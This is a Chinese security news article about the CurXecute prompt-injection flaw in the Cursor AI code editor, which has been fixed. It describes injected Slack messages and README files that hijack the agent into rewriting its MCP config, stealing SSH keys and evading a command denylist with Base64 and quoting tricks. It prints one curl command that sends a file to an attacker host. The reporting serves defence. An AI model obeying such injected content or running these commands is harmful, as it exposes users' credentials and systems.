AI 编程神器Cursor现高危漏洞，一条提示即可RCE

近日，广受欢迎的 AI 编程工具 Cursor 发布了 1.3 版本，修复了一个高危安全漏洞（CVE-2025-54135），漏洞代号 “CurXecute”，CVSS 评分8.6。

研究人员指出，攻击者只需借助一条精心构造的提示（Prompt Injection），便可远程执行任意系统命令，控制用户本地环境，造成数据窃取、勒索软件感染、凭据泄露，甚至操控 AI 模型行为。

01

本地代理 + 外部输入 = 安全盲区

Cursor IDE 是一款以 AI 助手为核心的开发环境，集成了本地运行的 AI 代理，辅助开发者编写、优化、调试代码。为提升功能灵活性，Cursor 引入了 Model Context Protocol（MCP），允许代理通过自然语言接口访问外部服务，如 Slack、GitHub 或数据库等。

但这一架构也带来了新的攻击面：AI 代理虽运行本地，其上下文输入却源于外部的不受信任环境。一旦攻击者通过 MCP 提供恶意内容，即可控制代理逻辑，从而触发本地高权限命令。

Aim Security 安全研究团队表示：“Cursor 在默认配置下拥有开发者级权限，当其连接 MCP 服务器并拉取外部数据时，若未做验证，该数据可直接劫持代理的控制流。”

02

攻击链简洁高效，用户无感知

研究人员指出，CurXecute 攻击链条逻辑非常简单，却极具杀伤力：

用户通过 Cursor 界面添加 MCP 服务器（如 Slack）；

攻击者在公共 Slack 频道发布携带命令注入的恶意消息；

用户请求 AI 代理总结该消息内容；

恶意提示被执行，篡改本地 ~/.cursor/mcp.json 文件；

自动添加并启用新的恶意 MCP 配置，触发远程命令执行。

值得注意的是，Cursor 默认不会对 mcp.json 新增项进行任何确认提示。即使用户随后选择“拒绝”，相关代码可能已被执行，根本原因在于 MCP 条目的自动运行模式（auto-run）。

例如，攻击者可注入如下命令：

touch ~/rce_payload && curl -F @~/rce_payload attacker-site.com

该命令在用户主目录创建文件，并将其回传攻击者控制的服务器，整个过程无需任何用户操作，防御机制几乎形同虚设。

03

GitHub README也能成为攻击入口

除了 Slack 等 MCP 场景，研究团队 HiddenLayer 进一步揭示，攻击者甚至可以通过 GitHub 项目的 README.md 文件发起提示注入攻击：

攻击者在项目 README 中嵌入隐藏提示注入；

用户使用 Cursor 克隆项目，并请求 AI 总结 README 内容；

AI 模型执行注入命令，例如使用 grep 扫描本地密钥，通过 curl 发送至远程服务器。

更复杂的变体包括“工具组合攻击”：攻击者利用 Cursor 内置的 read_file 和 create_diagram 工具，读取用户 SSH 私钥并借助图形生成功能隐蔽传输至攻击者服务器，整个过程几乎无可察觉。

Cursor 工具利用与 SSH 密钥泄露

04

机制被绕过，拒绝名单全面失效

研究还发现，Cursor 早期版本依赖拒绝名单（denylist） 防止危险命令执行，但在 auto-run 模式下，该机制可轻松绕过，包括：

使用 Base64 编码命令；

利用 shell 内联技巧（如 "e"cho hello）；

利用脚本语言或反斜杠构造混淆。

为此，Cursor 在 1.3 版本中弃用拒绝名单机制，转向更安全的白名单（allowlist）模式，并对 MCP 加载与执行逻辑进行了重构，加固防御路径。

CurXecute 的披露，不仅揭示 Cursor 在 Prompt Injection 防护上的盲区，也凸显了AI 编程助手这一新形态带来的系统性安全风险。Aim Security 指出：“AI 代理正处于外部系统、本地资源与用户行为的交汇点。任何外部输入都可能成为模型运行时的控制路径。安全模型必须前置考虑：外部上下文即攻击入口。”

与此同时，Tracebit 团队近期披露，Google 的 Gemini CLI 工具亦存在类似风险。通过 GitHub 项目中的 GEMINI.md 文件注入提示内容，攻击者可诱使 CLI 工具执行数据窃取命令，漏洞已于 7 月 25 日发布的 0.1.14 版本中修复。

Cursor 官方已于 7 月 7 日收到漏洞报告，并于次日合入修复补丁，7 月 29 日发布的 1.3 版本中正式修复 CurXecute 及相关安全问题。建议所有用户尽快升级 Cursor 至最新版本，并避免让 AI 代理自动处理来自公共来源的内容。

研究人员同时提醒，企业与开发者不应盲目信任 AI 编程平台内置的“智能防护”，而应主动为代理系统部署沙箱隔离、操作审计、输入验证等机制，以构建更稳健的安全边界。

消息来源：bleepingcomputer

文章来源：安全客